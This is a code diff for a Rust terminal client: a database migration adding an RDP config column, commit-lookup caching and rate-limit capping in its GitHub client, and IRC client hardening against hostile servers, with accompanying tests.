-- Adds an rdp_config column and drops the protocol CHECK constraint: protocol ids are validated
|
||||||
|
-- in code (Protocol::from_id), and each new protocol needed a table rebuild only to extend it.
|
||||||
|
|
||||||
|
CREATE TABLE IF NOT EXISTS profiles_new (
|
||||||
|
id TEXT PRIMARY KEY,
|
||||||
|
display_name TEXT NOT NULL,
|
||||||
|
description TEXT DEFAULT '',
|
||||||
|
protocol TEXT NOT NULL,
|
||||||
|
host TEXT NOT NULL,
|
||||||
|
port INTEGER NOT NULL,
|
||||||
|
username TEXT DEFAULT '',
|
||||||
|
tags TEXT DEFAULT '[]',
|
||||||
|
folder TEXT DEFAULT '',
|
||||||
|
environment TEXT DEFAULT '',
|
||||||
|
notes TEXT DEFAULT '',
|
||||||
|
favourite INTEGER DEFAULT 0,
|
||||||
|
last_connected TEXT,
|
||||||
|
connect_timeout INTEGER DEFAULT 30,
|
||||||
|
read_timeout INTEGER DEFAULT 0,
|
||||||
|
terminal_font_family TEXT DEFAULT '',
|
||||||
|
terminal_font_size INTEGER DEFAULT 14,
|
||||||
|
terminal_scrollback INTEGER DEFAULT 10000,
|
||||||
|
terminal_cursor_style TEXT DEFAULT 'block',
|
||||||
|
ssh_config TEXT,
|
||||||
|
telnet_config TEXT,
|
||||||
|
raw_config TEXT,
|
||||||
|
github_config TEXT,
|
||||||
|
vnc_config TEXT,
|
||||||
|
irc_config TEXT,
|
||||||
|
serial_config TEXT,
|
||||||
|
rdp_config TEXT,
|
||||||
|
created_at TEXT NOT NULL,
|
||||||
|
updated_at TEXT NOT NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
INSERT OR IGNORE INTO profiles_new (
|
||||||
|
id, display_name, description, protocol, host, port, username, tags, folder, environment,
|
||||||
|
notes, favourite, last_connected, connect_timeout, read_timeout, terminal_font_family,
|
||||||
|
terminal_font_size, terminal_scrollback, terminal_cursor_style, ssh_config, telnet_config,
|
||||||
|
raw_config, github_config, vnc_config, irc_config, serial_config, rdp_config, created_at,
|
||||||
|
updated_at
|
||||||
|
)
|
||||||
|
SELECT
|
||||||
|
id, display_name, description, protocol, host, port, username, tags, folder, environment,
|
||||||
|
notes, favourite, last_connected, connect_timeout, read_timeout, terminal_font_family,
|
||||||
|
terminal_font_size, terminal_scrollback, terminal_cursor_style, ssh_config, telnet_config,
|
||||||
|
raw_config, github_config, vnc_config, irc_config, serial_config, NULL, created_at,
|
||||||
|
updated_at
|
||||||
|
FROM profiles;
|
||||||
|
|
||||||
|
DROP TABLE profiles;
|
||||||
|
|
||||||
|
ALTER TABLE profiles_new RENAME TO profiles;
|
||||||
|
|
||||||
|
INSERT INTO schema_version (version, applied_at) VALUES (8, datetime('now'));
|
||||||
@@ -16,11 +16,17 @@ const MAX_ERROR_BODY_BYTES: u64 = 64 << 10;
|
|||||||
const MAX_ARCHIVE_BYTES: u64 = 2 << 30;
|
const MAX_ARCHIVE_BYTES: u64 = 2 << 30;
|
||||||
const USER_AGENT: &str = "NexusTerminal/1.0";
|
const USER_AGENT: &str = "NexusTerminal/1.0";
|
||||||
const COMMIT_LOOKUP_WORKERS: usize = 5;
|
const COMMIT_LOOKUP_WORKERS: usize = 5;
|
||||||
|
/// Commit lookups per refresh, most recently pushed first; the rest keep cached (or no) commit
|
||||||
|
/// info until they're pushed to. One lookup per repo per refresh would exhaust the API's hourly
|
||||||
|
/// rate limit for accounts with thousands of repos.
|
||||||
|
const MAX_COMMIT_LOOKUPS: usize = 100;
|
||||||
|
|
||||||
pub struct Client {
|
pub struct Client {
|
||||||
base_url: String,
|
base_url: String,
|
||||||
token: String,
|
token: String,
|
||||||
agent: ureq::Agent,
|
agent: ureq::Agent,
|
||||||
|
/// full_name → (pushed_at it was looked up for, committer, commit time).
|
||||||
|
commits: parking_lot::Mutex<std::collections::HashMap<String, (String, String, String)>>,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Deserialize)]
|
#[derive(Deserialize)]
|
||||||
@@ -71,7 +77,7 @@ impl Client {
|
|||||||
/// `base_url` is the API root, e.g. `https://api.github.com` or `https://ghe.example.com/api/v3`.
|
/// `base_url` is the API root, e.g. `https://api.github.com` or `https://ghe.example.com/api/v3`.
|
||||||
pub fn new(base_url: &str, token: &str) -> Client {
|
pub fn new(base_url: &str, token: &str) -> Client {
|
||||||
let agent = ureq::Agent::config_builder().timeout_global(Some(Duration::from_secs(30))).http_status_as_error(false).build().into();
|
let agent = ureq::Agent::config_builder().timeout_global(Some(Duration::from_secs(30))).http_status_as_error(false).build().into();
|
||||||
Client { base_url: base_url.trim_end_matches('/').to_string(), token: token.to_string(), agent }
|
Client { base_url: base_url.trim_end_matches('/').to_string(), token: token.to_string(), agent, commits: Default::default() }
|
||||||
}
|
}
|
||||||
|
|
||||||
fn get(&self, url: &str) -> Result<ureq::http::Response<ureq::Body>, ureq::Error> {
|
fn get(&self, url: &str) -> Result<ureq::http::Response<ureq::Body>, ureq::Error> {
|
||||||
@@ -162,20 +168,26 @@ impl Client {
|
|||||||
})
|
})
|
||||||
.collect();
|
.collect();
|
||||||
|
|
||||||
let total = result.len();
|
// Enrich with latest commit metadata (best-effort), five lookups at a time. A repo not
|
||||||
|
// pushed to since its last lookup reuses the cached answer.
|
||||||
|
let mut lookups: Vec<(usize, String, String)> = Vec::new();
|
||||||
|
{
|
||||||
|
let cache = self.commits.lock();
|
||||||
|
for (i, r) in result.iter_mut().enumerate() {
|
||||||
|
match cache.get(&r.full_name) {
|
||||||
|
Some((pushed, who, when)) if *pushed == r.pushed_at => (r.latest_committer, r.latest_commit_at) = (who.clone(), when.clone()),
|
||||||
|
_ if lookups.len() < MAX_COMMIT_LOOKUPS => {
|
||||||
|
let reference = if r.default_branch.is_empty() { "HEAD" } else { &r.default_branch };
|
||||||
|
lookups.push((i, r.full_name.clone(), reference.to_string()));
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let total = lookups.len();
|
||||||
progress(0, total);
|
progress(0, total);
|
||||||
|
|
||||||
// Enrich with latest commit metadata (best-effort), five lookups at a time.
|
|
||||||
let next = AtomicUsize::new(0);
|
let next = AtomicUsize::new(0);
|
||||||
let done = AtomicUsize::new(0);
|
let done = AtomicUsize::new(0);
|
||||||
let lookups: Vec<(usize, String, String)> = result
|
|
||||||
.iter()
|
|
||||||
.enumerate()
|
|
||||||
.map(|(i, r)| {
|
|
||||||
let reference = if r.default_branch.is_empty() { "HEAD" } else { &r.default_branch };
|
|
||||||
(i, r.full_name.clone(), reference.to_string())
|
|
||||||
})
|
|
||||||
.collect();
|
|
||||||
let found: Vec<(usize, String, String)> = std::thread::scope(|s| {
|
let found: Vec<(usize, String, String)> = std::thread::scope(|s| {
|
||||||
let workers: Vec<_> = (0..COMMIT_LOOKUP_WORKERS.min(total))
|
let workers: Vec<_> = (0..COMMIT_LOOKUP_WORKERS.min(total))
|
||||||
.map(|_| {
|
.map(|_| {
|
||||||
@@ -184,8 +196,12 @@ impl Client {
|
|||||||
loop {
|
loop {
|
||||||
let i = next.fetch_add(1, Ordering::SeqCst);
|
let i = next.fetch_add(1, Ordering::SeqCst);
|
||||||
let Some((idx, name, reference)) = lookups.get(i) else { break };
|
let Some((idx, name, reference)) = lookups.get(i) else { break };
|
||||||
if let Ok((who, when)) = self.fetch_latest_commit(name, reference) {
|
match self.fetch_latest_commit(name, reference) {
|
||||||
out.push((*idx, who, when));
|
Ok((who, when)) => out.push((*idx, who, when)),
|
||||||
|
// No such ref / empty repository: a definite answer, cache it. Auth
|
||||||
|
// and rate-limit failures are retried next refresh.
|
||||||
|
Err(e) if ["HTTP 404", "HTTP 409"].iter().any(|c| e.to_string().contains(c)) => out.push((*idx, String::new(), String::new())),
|
||||||
|
Err(_) => {}
|
||||||
}
|
}
|
||||||
progress(done.fetch_add(1, Ordering::SeqCst) + 1, total);
|
progress(done.fetch_add(1, Ordering::SeqCst) + 1, total);
|
||||||
}
|
}
|
||||||
@@ -195,9 +211,12 @@ impl Client {
|
|||||||
.collect();
|
.collect();
|
||||||
workers.into_iter().flat_map(|w| w.join().unwrap_or_default()).collect()
|
workers.into_iter().flat_map(|w| w.join().unwrap_or_default()).collect()
|
||||||
});
|
});
|
||||||
|
let mut cache = self.commits.lock();
|
||||||
for (idx, who, when) in found {
|
for (idx, who, when) in found {
|
||||||
result[idx].latest_committer = who;
|
let r = &mut result[idx];
|
||||||
result[idx].latest_commit_at = when;
|
cache.insert(r.full_name.clone(), (r.pushed_at.clone(), who.clone(), when.clone()));
|
||||||
|
r.latest_committer = who;
|
||||||
|
r.latest_commit_at = when;
|
||||||
}
|
}
|
||||||
Ok(result)
|
Ok(result)
|
||||||
}
|
}
|
||||||
@@ -355,7 +374,8 @@ fn copy_limited_archive(dst: &mut impl Write, src: impl Read, max_bytes: u64) ->
|
|||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
mod tests {
|
mod tests {
|
||||||
use super::*;
|
use super::*;
|
||||||
use std::sync::{Arc, Mutex};
|
use parking_lot::Mutex;
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn read_limited_rejects_oversized_response() {
|
fn read_limited_rejects_oversized_response() {
|
||||||
@@ -410,7 +430,7 @@ mod tests {
|
|||||||
std::thread::spawn(move || {
|
std::thread::spawn(move || {
|
||||||
for req in server.incoming_requests() {
|
for req in server.incoming_requests() {
|
||||||
let header = |name: &'static str| req.headers().iter().find(|h| h.field.equiv(name)).map(|h| h.value.to_string());
|
let header = |name: &'static str| req.headers().iter().find(|h| h.field.equiv(name)).map(|h| h.value.to_string());
|
||||||
log.lock().unwrap().push((req.url().to_string(), header("Authorization"), header("User-Agent")));
|
log.lock().push((req.url().to_string(), header("Authorization"), header("User-Agent")));
|
||||||
let (status, body) = handler(req.url());
|
let (status, body) = handler(req.url());
|
||||||
let _ = req.respond(tiny_http::Response::from_string(body).with_status_code(status));
|
let _ = req.respond(tiny_http::Response::from_string(body).with_status_code(status));
|
||||||
}
|
}
|
||||||
@@ -422,7 +442,7 @@ mod tests {
|
|||||||
fn validate_token_returns_login_and_reports_status() {
|
fn validate_token_returns_login_and_reports_status() {
|
||||||
let (base, seen) = serve(|_| (200, r#"{"login":"octocat"}"#.into()));
|
let (base, seen) = serve(|_| (200, r#"{"login":"octocat"}"#.into()));
|
||||||
assert_eq!(Client::new(&base, "tok").validate_token().unwrap(), "octocat");
|
assert_eq!(Client::new(&base, "tok").validate_token().unwrap(), "octocat");
|
||||||
let (url, auth, ua) = seen.lock().unwrap()[0].clone();
|
let (url, auth, ua) = seen.lock()[0].clone();
|
||||||
assert_eq!(url, "/user");
|
assert_eq!(url, "/user");
|
||||||
assert_eq!(auth.as_deref(), Some("Bearer tok"));
|
assert_eq!(auth.as_deref(), Some("Bearer tok"));
|
||||||
assert_eq!(ua.as_deref(), Some(USER_AGENT));
|
assert_eq!(ua.as_deref(), Some(USER_AGENT));
|
||||||
@@ -459,7 +479,8 @@ mod tests {
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
let calls = Mutex::new(Vec::new());
|
let calls = Mutex::new(Vec::new());
|
||||||
let repos = Client::new(&base, "t").fetch_repos_with_progress(|done, total| calls.lock().unwrap().push((done, total))).unwrap();
|
let client = Client::new(&base, "t");
|
||||||
|
let repos = client.fetch_repos_with_progress(|done, total| calls.lock().push((done, total))).unwrap();
|
||||||
assert_eq!(repos.len(), 101);
|
assert_eq!(repos.len(), 101);
|
||||||
assert_eq!(repos[0].full_name, "me/r100");
|
assert_eq!(repos[0].full_name, "me/r100");
|
||||||
assert_eq!(repos[0].pushed_at, "2025-06-01T12:00:00Z");
|
assert_eq!(repos[0].pushed_at, "2025-06-01T12:00:00Z");
|
||||||
@@ -472,12 +493,23 @@ mod tests {
|
|||||||
assert!(r0.private && r0.description.is_empty() && r0.language.is_empty());
|
assert!(r0.private && r0.description.is_empty() && r0.language.is_empty());
|
||||||
assert!(repos.iter().filter(|r| r.latest_committer.is_empty()).count() == 99);
|
assert!(repos.iter().filter(|r| r.latest_committer.is_empty()).count() == 99);
|
||||||
|
|
||||||
let mut calls = calls.into_inner().unwrap();
|
let mut calls = calls.into_inner();
|
||||||
assert_eq!(calls[0], (0, 101));
|
// At most MAX_COMMIT_LOOKUPS lookups per refresh, most recently pushed first.
|
||||||
|
assert_eq!(calls[0], (0, MAX_COMMIT_LOOKUPS));
|
||||||
calls.sort();
|
calls.sort();
|
||||||
assert_eq!(calls.last(), Some(&(101, 101)));
|
assert_eq!(calls.last(), Some(&(MAX_COMMIT_LOOKUPS, MAX_COMMIT_LOOKUPS)));
|
||||||
assert_eq!(calls.len(), 102);
|
assert_eq!(calls.len(), MAX_COMMIT_LOOKUPS + 1);
|
||||||
assert_eq!(seen.lock().unwrap().iter().filter(|s| s.0.starts_with("/user/repos")).count(), 2);
|
assert_eq!(seen.lock().iter().filter(|s| s.0.starts_with("/user/repos")).count(), 2);
|
||||||
|
|
||||||
|
// A refresh with nothing newly pushed reuses the answers it got (found or not).
|
||||||
|
let commit_calls = || seen.lock().iter().filter(|s| s.0.contains("/commits/")).count();
|
||||||
|
let before = commit_calls();
|
||||||
|
let again = client.fetch_repos_with_progress(|_, _| {}).unwrap();
|
||||||
|
assert_eq!(again[0].latest_committer, "Ann");
|
||||||
|
assert_eq!(commit_calls() - before, 101 - MAX_COMMIT_LOOKUPS, "only repos not looked up yet are fetched");
|
||||||
|
let third = commit_calls();
|
||||||
|
client.fetch_repos_with_progress(|_, _| {}).unwrap();
|
||||||
|
assert_eq!(commit_calls(), third, "everything is cached now");
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
@@ -505,7 +537,7 @@ mod tests {
|
|||||||
assert_eq!(std::fs::read(&dest).unwrap(), b"ZIPDATA");
|
assert_eq!(std::fs::read(&dest).unwrap(), b"ZIPDATA");
|
||||||
let err = client.download_repo_archive("me/r", "", &dest).unwrap_err().to_string();
|
let err = client.download_repo_archive("me/r", "", &dest).unwrap_err().to_string();
|
||||||
assert_eq!(err, "GitHub API returned HTTP 404: missing");
|
assert_eq!(err, "GitHub API returned HTTP 404: missing");
|
||||||
assert_eq!(seen.lock().unwrap()[1].0, "/repos/me/r/zipball");
|
assert_eq!(seen.lock()[1].0, "/repos/me/r/zipball");
|
||||||
assert!(client.download_repo_archive("bad", "", &dest).is_err());
|
assert!(client.download_repo_archive("bad", "", &dest).is_err());
|
||||||
std::fs::remove_dir_all(dir).unwrap();
|
std::fs::remove_dir_all(dir).unwrap();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,11 +5,12 @@
|
|||||||
//! optionally wrapped in TLS). It alternates between short reads and draining the outgoing
|
//! optionally wrapped in TLS). It alternates between short reads and draining the outgoing
|
||||||
//! queue, so the transport never has to be split.
|
//! queue, so the transport never has to be split.
|
||||||
|
|
||||||
|
use parking_lot::{Mutex, MutexGuard};
|
||||||
use std::collections::HashMap;
|
use std::collections::HashMap;
|
||||||
use std::io::{ErrorKind, Read, Write};
|
use std::io::{ErrorKind, Read, Write};
|
||||||
use std::net::{TcpStream, ToSocketAddrs};
|
use std::net::{TcpStream, ToSocketAddrs};
|
||||||
|
use std::sync::Arc;
|
||||||
use std::sync::mpsc::{self, Receiver, Sender};
|
use std::sync::mpsc::{self, Receiver, Sender};
|
||||||
use std::sync::{Arc, Mutex, MutexGuard};
|
|
||||||
use std::time::{Duration, Instant};
|
use std::time::{Duration, Instant};
|
||||||
|
|
||||||
use serde::{Deserialize, Serialize};
|
use serde::{Deserialize, Serialize};
|
||||||
@@ -24,6 +25,8 @@ const PING_DELAY: Duration = Duration::from_secs(20);
|
|||||||
const PING_TIMEOUT: Duration = Duration::from_secs(60);
|
const PING_TIMEOUT: Duration = Duration::from_secs(60);
|
||||||
const PING_GRACE: Duration = Duration::from_secs(30);
|
const PING_GRACE: Duration = Duration::from_secs(30);
|
||||||
const MAX_LINE_BYTES: usize = 1 << 20;
|
const MAX_LINE_BYTES: usize = 1 << 20;
|
||||||
|
/// Users tracked per channel; a hostile server can't grow the client past this.
|
||||||
|
const MAX_CHANNEL_USERS: usize = 10_000;
|
||||||
|
|
||||||
/// A bidirectional byte stream. Reads must not block indefinitely: they should return
|
/// A bidirectional byte stream. Reads must not block indefinitely: they should return
|
||||||
/// `WouldBlock` or `TimedOut` after a short interval (tens of milliseconds) so the client's
|
/// `WouldBlock` or `TimedOut` after a short interval (tens of milliseconds) so the client's
|
||||||
@@ -197,7 +200,7 @@ impl Client {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn st(&self) -> MutexGuard<'_, State> {
|
fn st(&self) -> MutexGuard<'_, State> {
|
||||||
self.state.lock().unwrap_or_else(|e| e.into_inner())
|
self.state.lock()
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Connects and blocks until registration succeeds (RPL_WELCOME), fails, or times out.
|
/// Connects and blocks until registration succeeds (RPL_WELCOME), fails, or times out.
|
||||||
@@ -205,7 +208,7 @@ impl Client {
|
|||||||
let (ready_tx, ready_rx) = mpsc::channel();
|
let (ready_tx, ready_rx) = mpsc::channel();
|
||||||
let (out_tx, out_rx) = mpsc::channel();
|
let (out_tx, out_rx) = mpsc::channel();
|
||||||
self.st().ready = Some(ready_tx);
|
self.st().ready = Some(ready_tx);
|
||||||
*self.out.lock().unwrap_or_else(|e| e.into_inner()) = Some(out_tx);
|
*self.out.lock() = Some(out_tx);
|
||||||
|
|
||||||
let client = self.clone();
|
let client = self.clone();
|
||||||
std::thread::spawn(move || client.io_thread(out_rx));
|
std::thread::spawn(move || client.io_thread(out_rx));
|
||||||
@@ -234,7 +237,7 @@ impl Client {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn queue(&self, out: Out) -> bool {
|
fn queue(&self, out: Out) -> bool {
|
||||||
let guard = self.out.lock().unwrap_or_else(|e| e.into_inner());
|
let guard = self.out.lock();
|
||||||
guard.as_ref().is_some_and(|tx| tx.send(out).is_ok())
|
guard.as_ref().is_some_and(|tx| tx.send(out).is_ok())
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -471,7 +474,7 @@ impl Client {
|
|||||||
|
|
||||||
fn io_thread(self: Arc<Self>, out_rx: Receiver<Out>) {
|
fn io_thread(self: Arc<Self>, out_rx: Receiver<Out>) {
|
||||||
let result = self.open_transport().and_then(|stream| self.run(stream, &out_rx));
|
let result = self.open_transport().and_then(|stream| self.run(stream, &out_rx));
|
||||||
*self.out.lock().unwrap_or_else(|e| e.into_inner()) = None;
|
*self.out.lock() = None;
|
||||||
let (was_closing, was_connected, ready) = {
|
let (was_closing, was_connected, ready) = {
|
||||||
let mut st = self.st();
|
let mut st = self.st();
|
||||||
let r = (st.closing, st.connected, st.ready.take());
|
let r = (st.closing, st.connected, st.ready.take());
|
||||||
@@ -601,6 +604,12 @@ impl Client {
|
|||||||
fold(nick) == fold(&self.st().nick)
|
fold(nick) == fold(&self.st().nick)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Whether we're in `room`: state is only kept for channels the client itself joined, so a
|
||||||
|
/// server can't grow it with JOINs for rooms we never asked for.
|
||||||
|
fn tracks(&self, room: &str) -> bool {
|
||||||
|
self.st().channels.contains_key(&fold(room))
|
||||||
|
}
|
||||||
|
|
||||||
fn handle_message(&self, m: &Message) {
|
fn handle_message(&self, m: &Message) {
|
||||||
match m.command.as_str() {
|
match m.command.as_str() {
|
||||||
"001" => self.handle_welcome(m),
|
"001" => self.handle_welcome(m),
|
||||||
@@ -733,12 +742,16 @@ impl Client {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
let from = m.source.clone();
|
let from = m.source.clone();
|
||||||
|
let me = self.is_me(&from);
|
||||||
|
if !me && !self.tracks(&room) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
if !from.is_empty() {
|
if !from.is_empty() {
|
||||||
let mut st = self.st();
|
let mut st = self.st();
|
||||||
let ch = st.channels.entry(fold(&room)).or_insert_with(|| Channel { name: room.clone(), topic: String::new(), users: Vec::new() });
|
let ch = st.channels.entry(fold(&room)).or_insert_with(|| Channel { name: room.clone(), topic: String::new(), users: Vec::new() });
|
||||||
add_user(ch, &from);
|
add_user(ch, &from);
|
||||||
}
|
}
|
||||||
if self.is_me(&from) {
|
if me {
|
||||||
self.remember_room_membership(&room, true);
|
self.remember_room_membership(&room, true);
|
||||||
}
|
}
|
||||||
self.emit(Event { kind: "join".into(), target: room.clone(), from: from.clone(), text: format!("{from} joined {room}"), ..Default::default() });
|
self.emit(Event { kind: "join".into(), target: room.clone(), from: from.clone(), text: format!("{from} joined {room}"), ..Default::default() });
|
||||||
@@ -753,6 +766,9 @@ impl Client {
|
|||||||
}
|
}
|
||||||
let from = m.source.clone();
|
let from = m.source.clone();
|
||||||
let me = self.is_me(&from);
|
let me = self.is_me(&from);
|
||||||
|
if !self.tracks(&room) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
if !from.is_empty() {
|
if !from.is_empty() {
|
||||||
let mut st = self.st();
|
let mut st = self.st();
|
||||||
if me {
|
if me {
|
||||||
@@ -776,6 +792,9 @@ impl Client {
|
|||||||
}
|
}
|
||||||
let (room, kicked) = (m.param(0).to_string(), m.param(1).to_string());
|
let (room, kicked) = (m.param(0).to_string(), m.param(1).to_string());
|
||||||
let me = self.is_me(&kicked);
|
let me = self.is_me(&kicked);
|
||||||
|
if !self.tracks(&room) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
{
|
{
|
||||||
let mut st = self.st();
|
let mut st = self.st();
|
||||||
if me {
|
if me {
|
||||||
@@ -845,7 +864,7 @@ impl Client {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn handle_names(&self, m: &Message) {
|
fn handle_names(&self, m: &Message) {
|
||||||
if m.params.len() < 4 {
|
if m.params.len() < 4 || !self.tracks(m.param(2)) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
{
|
{
|
||||||
@@ -942,7 +961,7 @@ fn fold(s: &str) -> String {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn add_user(ch: &mut Channel, nick: &str) {
|
fn add_user(ch: &mut Channel, nick: &str) {
|
||||||
if !ch.users.iter().any(|u| fold(u) == fold(nick)) {
|
if ch.users.len() < MAX_CHANNEL_USERS && !ch.users.iter().any(|u| fold(u) == fold(nick)) {
|
||||||
ch.users.push(nick.to_string());
|
ch.users.push(nick.to_string());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1033,20 +1052,54 @@ mod tests {
|
|||||||
use std::io::{BufRead, BufReader};
|
use std::io::{BufRead, BufReader};
|
||||||
use std::net::TcpListener;
|
use std::net::TcpListener;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn hostile_lines_never_panic() {
|
||||||
|
let client = Client::new(Config::default());
|
||||||
|
client.st().nick = "me".into();
|
||||||
|
client.handle_message(&parse_line(":me!u@h JOIN #a").unwrap());
|
||||||
|
let mut n = crate::Noise::new(0x1bc);
|
||||||
|
for _ in 0..5000 {
|
||||||
|
let raw = n.bytes(120, b":!@# ,;=\x01\x02\x03\x0f\x16\x1d\x1fme#aJOINPARTKICKPRIVMSGNOTICE3534330011234567890");
|
||||||
|
let line = String::from_utf8_lossy(&raw);
|
||||||
|
if let Some(m) = parse_line(&line) {
|
||||||
|
client.handle_message(&m);
|
||||||
|
let e = Event { kind: "message".into(), target: m.param(0).into(), from: m.source.clone(), text: m.last().into(), ..Default::default() };
|
||||||
|
let _ = crate::ircformat::format_event(&e, "12:00");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn remember_room_membership_tracks_confirmed_channels() {
|
fn remember_room_membership_tracks_confirmed_channels() {
|
||||||
let updates = Arc::new(Mutex::new(Vec::new()));
|
let updates = Arc::new(Mutex::new(Vec::new()));
|
||||||
let log = updates.clone();
|
let log = updates.clone();
|
||||||
let client = Client::new(Config { on_rooms_changed: Arc::new(move |rooms| log.lock().unwrap().push(rooms.join(","))), ..Default::default() });
|
let client = Client::new(Config { on_rooms_changed: Arc::new(move |rooms| log.lock().push(rooms.join(","))), ..Default::default() });
|
||||||
client.remember_room_membership("#One", true);
|
client.remember_room_membership("#One", true);
|
||||||
client.remember_room_membership("#two", true);
|
client.remember_room_membership("#two", true);
|
||||||
client.remember_room_membership("#one", true);
|
client.remember_room_membership("#one", true);
|
||||||
client.remember_room_membership("#missing", false);
|
client.remember_room_membership("#missing", false);
|
||||||
client.remember_room_membership("#ONE", false);
|
client.remember_room_membership("#ONE", false);
|
||||||
assert_eq!(updates.lock().unwrap().join("|"), "#One|#One,#two|#two");
|
assert_eq!(updates.lock().join("|"), "#One|#One,#two|#two");
|
||||||
assert_eq!(client.st().room_names, vec!["#two"]);
|
assert_eq!(client.st().room_names, vec!["#two"]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn only_joined_channels_are_tracked_and_users_are_capped() {
|
||||||
|
let client = Client::new(Config::default());
|
||||||
|
client.st().nick = "me".into();
|
||||||
|
let feed = |l: &str| client.handle_message(&parse_line(l).unwrap());
|
||||||
|
for n in 0..20_000 {
|
||||||
|
feed(&format!(":x{n}!u@h JOIN #room-{n}"));
|
||||||
|
}
|
||||||
|
assert!(client.st().channels.is_empty(), "JOINs by others for rooms we're not in are ignored");
|
||||||
|
feed(":me!u@h JOIN #ours");
|
||||||
|
feed(":other!u@h JOIN #ours");
|
||||||
|
assert_eq!(client.st().channels[&fold("#ours")].users, vec!["me", "other"]);
|
||||||
|
let mut ch = Channel { name: "#big".into(), topic: String::new(), users: (0..MAX_CHANNEL_USERS).map(|n| format!("u{n}")).collect() };
|
||||||
|
add_user(&mut ch, "one-too-many");
|
||||||
|
assert_eq!(ch.users.len(), MAX_CHANNEL_USERS);
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn parses_and_encodes_lines() {
|
fn parses_and_encodes_lines() {
|
||||||
let m = parse_line("@time=x :nick!u@h PRIVMSG #chan :hello there").unwrap();
|
let m = parse_line("@time=x :nick!u@h PRIVMSG #chan :hello there").unwrap();
|
||||||
@@ -1109,9 +1162,9 @@ mod tests {
|
|||||||
nick: "me".into(),
|
nick: "me".into(),
|
||||||
connect_timeout: Duration::from_secs(5),
|
connect_timeout: Duration::from_secs(5),
|
||||||
on_event: Arc::new(move |e| {
|
on_event: Arc::new(move |e| {
|
||||||
let _ = tx.lock().unwrap().send(e);
|
let _ = tx.lock().send(e);
|
||||||
}),
|
}),
|
||||||
on_close: Arc::new(move || *c.lock().unwrap() += 1),
|
on_close: Arc::new(move || *c.lock() += 1),
|
||||||
..cfg
|
..cfg
|
||||||
});
|
});
|
||||||
(client, listener, rx, closes)
|
(client, listener, rx, closes)
|
||||||
@@ -1224,11 +1277,11 @@ mod tests {
|
|||||||
client.close();
|
client.close();
|
||||||
srv.expect("QUIT :Nexus Terminal disconnected");
|
srv.expect("QUIT :Nexus Terminal disconnected");
|
||||||
let deadline = Instant::now() + Duration::from_secs(5);
|
let deadline = Instant::now() + Duration::from_secs(5);
|
||||||
while *closes.lock().unwrap() == 0 && Instant::now() < deadline {
|
while *closes.lock() == 0 && Instant::now() < deadline {
|
||||||
std::thread::sleep(Duration::from_millis(10));
|
std::thread::sleep(Duration::from_millis(10));
|
||||||
}
|
}
|
||||||
std::thread::sleep(Duration::from_millis(100));
|
std::thread::sleep(Duration::from_millis(100));
|
||||||
assert_eq!(*closes.lock().unwrap(), 1);
|
assert_eq!(*closes.lock(), 1);
|
||||||
assert!(client.handle_input("#a", "late").is_err());
|
assert!(client.handle_input("#a", "late").is_err());
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1236,7 +1289,7 @@ mod tests {
|
|||||||
fn remote_close_reports_error_and_close() {
|
fn remote_close_reports_error_and_close() {
|
||||||
let errors = Arc::new(Mutex::new(Vec::new()));
|
let errors = Arc::new(Mutex::new(Vec::new()));
|
||||||
let log = errors.clone();
|
let log = errors.clone();
|
||||||
let (client, listener, rx, closes) = harness(Config { on_error: Arc::new(move |e| log.lock().unwrap().push(e)), ..Default::default() });
|
let (client, listener, rx, closes) = harness(Config { on_error: Arc::new(move |e| log.lock().push(e)), ..Default::default() });
|
||||||
let c = client.clone();
|
let c = client.clone();
|
||||||
let connecting = std::thread::spawn(move || c.connect());
|
let connecting = std::thread::spawn(move || c.connect());
|
||||||
let mut srv = accept(&listener);
|
let mut srv = accept(&listener);
|
||||||
@@ -1248,8 +1301,8 @@ mod tests {
|
|||||||
drop(srv);
|
drop(srv);
|
||||||
assert_eq!(wait_for(&rx, |e| e.kind == "error").text, "connection closed by server");
|
assert_eq!(wait_for(&rx, |e| e.kind == "error").text, "connection closed by server");
|
||||||
std::thread::sleep(Duration::from_millis(100));
|
std::thread::sleep(Duration::from_millis(100));
|
||||||
assert_eq!(*errors.lock().unwrap(), vec!["connection closed by server"]);
|
assert_eq!(*errors.lock(), vec!["connection closed by server"]);
|
||||||
assert_eq!(*closes.lock().unwrap(), 1);
|
assert_eq!(*closes.lock(), 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
@@ -1259,7 +1312,7 @@ mod tests {
|
|||||||
let err = client.connect().unwrap_err().to_string();
|
let err = client.connect().unwrap_err().to_string();
|
||||||
assert_eq!(err, "IRC connection timed out after 300ms");
|
assert_eq!(err, "IRC connection timed out after 300ms");
|
||||||
drop(listener);
|
drop(listener);
|
||||||
assert_eq!(*closes.lock().unwrap(), 0);
|
assert_eq!(*closes.lock(), 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
